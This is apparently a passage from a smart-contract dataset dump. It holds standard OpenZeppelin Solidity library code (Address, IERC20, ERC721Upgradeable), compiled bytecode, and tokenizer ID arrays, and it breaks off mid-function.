function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// SPDX-License-Identifier: MIT
// OpenZeppelin Contracts (last updated v4.5.0) (token/ERC20/IERC20.sol)
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `to`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address to, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `from` to `to` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
} | 0x6080604052600436106100c65760003560e01c80638b83209b1161007f578063ce7c2ac211610059578063ce7c2ac214610276578063d79779b2146102ac578063e33b7de3146102e2578063f2fde38b146102f757600080fd5b80638b83209b146101ea5780638da5cb5b146102225780639852595c1461024057600080fd5b806319165587146101145780633a98ef3914610136578063406072a91461015a57806348b75044146101a05780635be7fde8146101c0578063715018a6146101d557600080fd5b3661010f577f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be77033604080516001600160a01b0390921682523460208301520160405180910390a1005b600080fd5b34801561012057600080fd5b5061013461012f366004610c6f565b610317565b005b34801561014257600080fd5b506000545b6040519081526020015b60405180910390f35b34801561016657600080fd5b50610147610175366004610cab565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b3480156101ac57600080fd5b506101346101bb366004610cab565b610385565b3480156101cc57600080fd5b506101346103bd565b3480156101e157600080fd5b50610134610477565b3480156101f657600080fd5b5061020a610205366004610ce3565b6104ad565b6040516001600160a01b039091168152602001610151565b34801561022e57600080fd5b506007546001600160a01b031661020a565b34801561024c57600080fd5b5061014761025b366004610c6f565b6001600160a01b031660009081526003602052604090205490565b34801561028257600080fd5b50610147610291366004610c6f565b6001600160a01b031660009081526002602052604090205490565b3480156102b857600080fd5b506101476102c7366004610c6f565b6001600160a01b031660009081526005602052604090205490565b3480156102ee57600080fd5b50600154610147565b34801561030357600080fd5b50610134610312366004610c6f565b6104eb565b3360009081526009602052604090205460ff1615156001146103795760405162461bcd60e51b815260206004820152601660248201527563616c6c6572206d757374206265206120706179656560501b60448201526064015b60405180910390fd5b61038281610583565b50565b6007546001600160a01b031633146103af5760405162461bcd60e51b815260040161037090610df3565b6103b982826106b1565b5050565b3360009081526009602052604090205460ff16151560011461041a5760405162461bcd60e51b815260206004820152601660248201527563616c6c6572206d757374206265206120706179656560501b6044820152606401610370565b60005b600854811015610382576104656008828154811061044b57634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b0316610583565b8061046f81610ec6565b91505061041d565b6007546001600160a01b031633146104a15760405162461bcd60e51b815260040161037090610df3565b6104ab6000610899565b565b6000600482815481106104d057634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b031692915050565b6007546001600160a01b031633146105155760405162461bcd60e51b815260040161037090610df3565b6001600160a01b03811661057a5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610370565b61038281610899565b6001600160a01b0381166000908152600260205260409020546105b85760405162461bcd60e51b815260040161037090610d62565b60006105c360015490565b6105cd9047610e28565b905060006105fa83836105f5866001600160a01b031660009081526003602052604090205490565b6108eb565b9050806106195760405162461bcd60e51b815260040161037090610da8565b6001600160a01b03831660009081526003602052604081208054839290610641908490610e28565b92505081905550806001600082825461065a9190610e28565b9091555061066a90508382610930565b604080516001600160a01b0385168152602081018390527fdf20fd1e76bc69d672e4814fafb2c449bba3a5369d8359adf9e05e6fde87b056910160405180910390a1505050565b6001600160a01b0381166000908152600260205260409020546106e65760405162461bcd60e51b815260040161037090610d62565b6001600160a01b0382166000908152600560205260408120546040516370a0823160e01b81523060048201526001600160a01b038516906370a082319060240160206040518083038186803b15801561073e57600080fd5b505afa158015610752573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107769190610cfb565b6107809190610e28565b905060006107b983836105f587876001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b9050806107d85760405162461bcd60e51b815260040161037090610da8565b6001600160a01b0380851660009081526006602090815260408083209387168352929052908120805483929061080f908490610e28565b90915550506001600160a01b0384166000908152600560205260408120805483929061083c908490610e28565b9091555061084d9050848483610a4e565b604080516001600160a01b038581168252602082018490528616917f3be5b7a71e84ed12875d241991c70855ac5817d847039e17a9d895c1ceb0f18a910160405180910390a250505050565b600780546001600160a01b038381166001600160a01b0319831681179093556040519116919082907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a35050565b600080546001600160a01b0385168252600260205260408220548391906109129086610e60565b61091c9190610e40565b6109269190610e7f565b90505b9392505050565b804710156109805760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610370565b6000826001600160a01b03168260405160006040518083038185875af1925050503d80600081146109cd576040519150601f19603f3d011682016040523d82523d6000602084013e6109d2565b606091505b5050905080610a495760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d617920686176652072657665727465640000000000006064820152608401610370565b505050565b604080516001600160a01b03848116602483015260448083018590528351808403909101815260649092018352602080830180516001600160e01b031663a9059cbb60e01b17905283518085019094528084527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c656490840152610a4992869291600091610ade918516908490610b5b565b805190915015610a495780806020019051810190610afc9190610c8b565b610a495760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610370565b60606109268484600085856001600160a01b0385163b610bbd5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610370565b600080866001600160a01b03168587604051610bd99190610d13565b60006040518083038185875af1925050503d8060008114610c16576040519150601f19603f3d011682016040523d82523d6000602084013e610c1b565b606091505b5091509150610c2b828286610c36565b979650505050505050565b60608315610c45575081610929565b825115610c555782518084602001fd5b8160405162461bcd60e51b81526004016103709190610d2f565b600060208284031215610c80578081fd5b813561092981610ef7565b600060208284031215610c9c578081fd5b81518015158114610929578182fd5b60008060408385031215610cbd578081fd5b8235610cc881610ef7565b91506020830135610cd881610ef7565b809150509250929050565b600060208284031215610cf4578081fd5b5035919050565b600060208284031215610d0c578081fd5b5051919050565b60008251610d25818460208701610e96565b9190910192915050565b6020815260008251806020840152610d4e816040850160208701610e96565b601f01601f19169190910160400192915050565b60208082526026908201527f5061796d656e7453706c69747465723a206163636f756e7420686173206e6f2060408201526573686172657360d01b606082015260800190565b6020808252602b908201527f5061796d656e7453706c69747465723a206163636f756e74206973206e6f742060408201526a191d59481c185e5b595b9d60aa1b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115610e3b57610e3b610ee1565b500190565b600082610e5b57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615610e7a57610e7a610ee1565b500290565b600082821015610e9157610e91610ee1565b500390565b60005b83811015610eb1578181015183820152602001610e99565b83811115610ec0576000848401525b50505050565b6000600019821415610eda57610eda610ee1565b5060010190565b634e487b7160e01b600052601160045260246000fd5b6001600160a01b038116811461038257600080fdfea264697066735822122038a91c8def0b5ab3f43b938bcd058a9902c068ade6e90c4e959ed3dab31399e064736f6c63430008040033 | {"success": true, "error": null, "results": {}} | true | null | {} | [
101,
1014,
2595,
2683,
22275,
2683,
2094,
2575,
2475,
2546,
2629,
2094,
2620,
2475,
2050,
2581,
2497,
2575,
2581,
2497,
21486,
2683,
2497,
2094,
21619,
2475,
2050,
2692,
21472,
12376,
2549,
2063,
17465,
2497,
2094,
2487,
2050,
1013,
1013,
23772,
2595,
1011,
6105,
1011,
8909,
4765,
18095,
1024,
4895,
13231,
12325,
10975,
8490,
2863,
5024,
3012,
1034,
1014,
1012,
1022,
1012,
1014,
1025,
12324,
1000,
1012,
1013,
9152,
20860,
4502,
25219,
7666,
24759,
27100,
2099,
1012,
14017,
1000,
1025,
3206,
9152,
20860,
13238,
2389,
7368,
13102,
15909,
3334,
2003,
9152,
20860,
4502,
25219,
7666,
24759,
27100,
2099,
1063,
9570,
2953,
1006,
4769,
1031,
1033,
3638,
3477,
10285,
1035,
1010,
21318,
3372,
17788,
2575,
1031,
1033,
3638,
6661,
1007,
9152,
20860,
4502,
25219,
7666,
24759,
27100,
2099,
1006,
102
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
] |
58,482 | 0x9539EAC4e19d0627815b166330b83f9c931A9e88 | // Sources flattened with hardhat v2.6.5 https://hardhat.org
// File @openzeppelin/contracts-upgradeable/utils/introspection/IERC165Upgradeable.sol@v4.3.2
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC165 standard, as defined in the
* https://eips.ethereum.org/EIPS/eip-165[EIP].
*
* Implementers can declare support of contract interfaces, which can then be
* queried by others ({ERC165Checker}).
*
* For an implementation, see {ERC165}.
*/
interface IERC165Upgradeable {
/**
* @dev Returns true if this contract implements the interface defined by
* `interfaceId`. See the corresponding
* https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section]
* to learn more about how these ids are created.
*
* This function call must use less than 30 000 gas.
*/
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/IERC721Upgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Required interface of an ERC721 compliant contract.
*/
interface IERC721Upgradeable is IERC165Upgradeable {
/**
* @dev Emitted when `tokenId` token is transferred from `from` to `to`.
*/
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.
*/
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
/**
* @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets.
*/
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
/**
* @dev Returns the number of tokens in ``owner``'s account.
*/
function balanceOf(address owner) external view returns (uint256 balance);
/**
* @dev Returns the owner of the `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function ownerOf(uint256 tokenId) external view returns (address owner);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients
* are aware of the ERC721 protocol to prevent tokens from being forever locked.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Transfers `tokenId` token from `from` to `to`.
*
* WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
/**
* @dev Gives permission to `to` to transfer `tokenId` token to another account.
* The approval is cleared when the token is transferred.
*
* Only a single account can be approved at a time, so approving the zero address clears previous approvals.
*
* Requirements:
*
* - The caller must own the token or be an approved operator.
* - `tokenId` must exist.
*
* Emits an {Approval} event.
*/
function approve(address to, uint256 tokenId) external;
/**
* @dev Returns the account approved for `tokenId` token.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function getApproved(uint256 tokenId) external view returns (address operator);
/**
* @dev Approve or remove `operator` as an operator for the caller.
* Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller.
*
* Requirements:
*
* - The `operator` cannot be the caller.
*
* Emits an {ApprovalForAll} event.
*/
function setApprovalForAll(address operator, bool _approved) external;
/**
* @dev Returns if the `operator` is allowed to manage all of the assets of `owner`.
*
* See {setApprovalForAll}
*/
function isApprovedForAll(address owner, address operator) external view returns (bool);
/**
* @dev Safely transfers `tokenId` token from `from` to `to`.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `tokenId` token must exist and be owned by `from`.
* - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/IERC721ReceiverUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @title ERC721 token receiver interface
* @dev Interface for any contract that wants to support safeTransfers
* from ERC721 asset contracts.
*/
interface IERC721ReceiverUpgradeable {
/**
* @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom}
* by `operator` from `from`, this function is called.
*
* It must return its Solidity selector to confirm the token transfer.
* If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted.
*
* The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`.
*/
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/extensions/IERC721MetadataUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional metadata extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721MetadataUpgradeable is IERC721Upgradeable {
/**
* @dev Returns the token collection name.
*/
function name() external view returns (string memory);
/**
* @dev Returns the token collection symbol.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token.
*/
function tokenURI(uint256 tokenId) external view returns (string memory);
}
// File @openzeppelin/contracts-upgradeable/utils/AddressUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library AddressUpgradeable {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
// File @openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev This is a base contract to aid in writing upgradeable contracts, or any kind of contract that will be deployed
* behind a proxy. Since a proxied contract can't have a constructor, it's common to move constructor logic to an
* external initializer function, usually called `initialize`. It then becomes necessary to protect this initializer
* function so it can only be called once. The {initializer} modifier provided by this contract will have this effect.
*
* TIP: To avoid leaving the proxy in an uninitialized state, the initializer function should be called as early as
* possible by providing the encoded function call as the `_data` argument to {ERC1967Proxy-constructor}.
*
* CAUTION: When used with inheritance, manual care must be taken to not invoke a parent initializer twice, or to ensure
* that all initializers are idempotent. This is not verified automatically as constructors are by Solidity.
*/
abstract contract Initializable {
/**
* @dev Indicates that the contract has been initialized.
*/
bool private _initialized;
/**
* @dev Indicates that the contract is in the process of being initialized.
*/
bool private _initializing;
/**
* @dev Modifier to protect an initializer function from being invoked twice.
*/
modifier initializer() {
require(_initializing || !_initialized, "Initializable: contract is already initialized");
bool isTopLevelCall = !_initializing;
if (isTopLevelCall) {
_initializing = true;
_initialized = true;
}
_;
if (isTopLevelCall) {
_initializing = false;
}
}
}
// File @openzeppelin/contracts-upgradeable/utils/ContextUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract ContextUpgradeable is Initializable {
function __Context_init() internal initializer {
__Context_init_unchained();
}
function __Context_init_unchained() internal initializer {
}
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev String operations.
*/
library StringsUpgradeable {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
/**
* @dev Converts a `uint256` to its ASCII `string` decimal representation.
*/
function toString(uint256 value) internal pure returns (string memory) {
// Inspired by OraclizeAPI's implementation - MIT licence
// https://github.com/oraclize/ethereum-api/blob/b42146b063c7d6ee1358846c198246239e9360e8/oraclizeAPI_0.4.25.sol
if (value == 0) {
return "0";
}
uint256 temp = value;
uint256 digits;
while (temp != 0) {
digits++;
temp /= 10;
}
bytes memory buffer = new bytes(digits);
while (value != 0) {
digits -= 1;
buffer[digits] = bytes1(uint8(48 + uint256(value % 10)));
value /= 10;
}
return string(buffer);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation.
*/
function toHexString(uint256 value) internal pure returns (string memory) {
if (value == 0) {
return "0x00";
}
uint256 temp = value;
uint256 length = 0;
while (temp != 0) {
length++;
temp >>= 8;
}
return toHexString(value, length);
}
/**
* @dev Converts a `uint256` to its ASCII `string` hexadecimal representation with fixed length.
*/
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
bytes memory buffer = new bytes(2 * length + 2);
buffer[0] = "0";
buffer[1] = "x";
for (uint256 i = 2 * length + 1; i > 1; --i) {
buffer[i] = _HEX_SYMBOLS[value & 0xf];
value >>= 4;
}
require(value == 0, "Strings: hex length insufficient");
return string(buffer);
}
}
// File @openzeppelin/contracts-upgradeable/utils/introspection/ERC165Upgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Implementation of the {IERC165} interface.
*
* Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check
* for the additional interface id that will be supported. For example:
*
* ```solidity
* function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
* return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId);
* }
* ```
*
* Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation.
*/
abstract contract ERC165Upgradeable is Initializable, IERC165Upgradeable {
function __ERC165_init() internal initializer {
__ERC165_init_unchained();
}
function __ERC165_init_unchained() internal initializer {
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
return interfaceId == type(IERC165Upgradeable).interfaceId;
}
uint256[50] private __gap;
}
// File @openzeppelin/contracts-upgradeable/token/ERC721/ERC721Upgradeable.sol@v4.3.2
pragma solidity ^0.8.0;
/**
* @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including
* the Metadata extension, but not including the Enumerable extension, which is available separately as
* {ERC721Enumerable}.
*/
contract ERC721Upgradeable is Initializable, ContextUpgradeable, ERC165Upgradeable, IERC721Upgradeable, IERC721MetadataUpgradeable {
using AddressUpgradeable for address;
using StringsUpgradeable for uint256;
// Token name
string private _name;
// Token symbol
string private _symbol;
// Mapping from token ID to owner address
mapping(uint256 => address) private _owners;
// Mapping owner address to token count
mapping(address => uint256) private _balances;
// Mapping from token ID to approved address
mapping(uint256 => address) private _tokenApprovals;
// Mapping from owner to operator approvals
mapping(address => mapping(address => bool)) private _operatorApprovals;
/**
* @dev Initializes the contract by setting a `name` and a `symbol` to the token collection.
*/
function __ERC721_init(string memory name_, string memory symbol_) internal initializer {
__Context_init_unchained();
__ERC165_init_unchained();
__ERC721_init_unchained(name_, symbol_);
}
function __ERC721_init_unchained(string memory name_, string memory symbol_) internal initializer {
_name = name_;
_symbol = symbol_;
}
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165Upgradeable, IERC165Upgradeable) returns (bool) {
return
interfaceId == type(IERC721Upgradeable).interfaceId ||
interfaceId == type(IERC721MetadataUpgradeable).interfaceId ||
super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721-balanceOf}.
*/
function balanceOf(address owner) public view virtual override returns (uint256) {
require(owner != address(0), "ERC721: balance query for the zero address");
return _balances[owner];
}
/**
* @dev See {IERC721-ownerOf}.
*/
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
address owner = _owners[tokenId];
require(owner != address(0), "ERC721: owner query for nonexistent token");
return owner;
}
/**
* @dev See {IERC721Metadata-name}.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev See {IERC721Metadata-symbol}.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev See {IERC721Metadata-tokenURI}.
*/
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
string memory baseURI = _baseURI();
return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : "";
}
/**
* @dev Base URI for computing {tokenURI}. If set, the resulting URI for each
* token will be the concatenation of the `baseURI` and the `tokenId`. Empty
* by default, can be overriden in child contracts.
*/
function _baseURI() internal view virtual returns (string memory) {
return "";
}
/**
* @dev See {IERC721-approve}.
*/
function approve(address to, uint256 tokenId) public virtual override {
